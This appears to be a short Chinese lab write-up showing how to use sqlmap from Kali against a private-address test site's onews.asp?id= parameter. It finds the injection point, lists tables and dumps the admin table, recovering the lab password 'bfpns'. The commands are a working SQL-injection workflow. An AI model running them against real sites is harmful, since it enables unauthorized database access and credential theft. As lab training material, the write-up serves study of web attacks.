（利用sqlmap命令破解出access数据中的admin的密码bfpns）
在kali中打开终端，在终端中输入命令“sqlmap –u http://192.168.1.3:8008/onews.asp?id=45”（实验的id），参数-u扫描注入点扫描目标主机，检测出的信息准确。
“sqlmap –u http://192.168.1.3:8008/onews.asp?id=45 --users”获取到用户名
“sqlmap –u http://192.168.1.3:8008/onews.asp?id=45 -–dump –tables”探测数据库和表信息
显示探测出来的字段信息
针对admin表探测出的结构
” sqlmap -u "http://192.168.1.3:8008/onews.asp?id=45" --dump -T admin -C admin,password”,进行暴库,获得用户名和密码
已经猜解出来用户名为admin
已经猜解出来密码为bfpns
网友评论